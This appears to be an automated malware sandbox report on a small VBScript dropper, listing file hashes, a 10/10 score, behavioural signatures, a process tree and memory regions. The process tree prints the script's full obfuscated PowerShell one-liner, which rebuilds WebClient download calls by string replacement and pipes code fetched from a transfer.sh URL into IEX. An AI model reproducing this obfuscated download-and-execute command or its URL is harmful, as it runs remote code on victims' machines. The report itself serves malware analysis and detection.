Analysis

  • max time kernel
    120s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    07/01/2024, 19:37

General

  • Target

    498b038f610b49e31b24ac641a1010d4.vbs

  • Size

    733B

  • MD5

    498b038f610b49e31b24ac641a1010d4

  • SHA1

    d44a1e96a3ab5747705dbb242ab07e452e1ae9bb

  • SHA256

    d424a08c1e1eac484c029a6ef4008bf991aebf26a86aa02fecd18ad60bb24a0f

  • SHA512

    355352707e9638b3b3226c867d89d6dbacd6a8886a7f2ea3ccd280aedae78e3cbc86f0d3a89ef2c754959d4322fc635476c4358d8cf9b8175c42a659ba0d45c6

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://transfer.sh/get/1jmaVDV/model.txt

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\498b038f610b49e31b24ac641a1010d4.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://transfer.sh/get/1jmaVDV/model.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2068

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/2068-4-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

          Filesize

          2.9MB

        • memory/2068-5-0x0000000002290000-0x0000000002298000-memory.dmp

          Filesize

          32KB

        • memory/2068-9-0x0000000002940000-0x00000000029C0000-memory.dmp

          Filesize

          512KB

        • memory/2068-8-0x0000000002940000-0x00000000029C0000-memory.dmp

          Filesize

          512KB

        • memory/2068-10-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

          Filesize

          9.6MB

        • memory/2068-7-0x0000000002940000-0x00000000029C0000-memory.dmp

          Filesize

          512KB

        • memory/2068-6-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

          Filesize

          9.6MB

        • memory/2068-11-0x0000000002940000-0x00000000029C0000-memory.dmp

          Filesize

          512KB

        • memory/2068-12-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

          Filesize

          9.6MB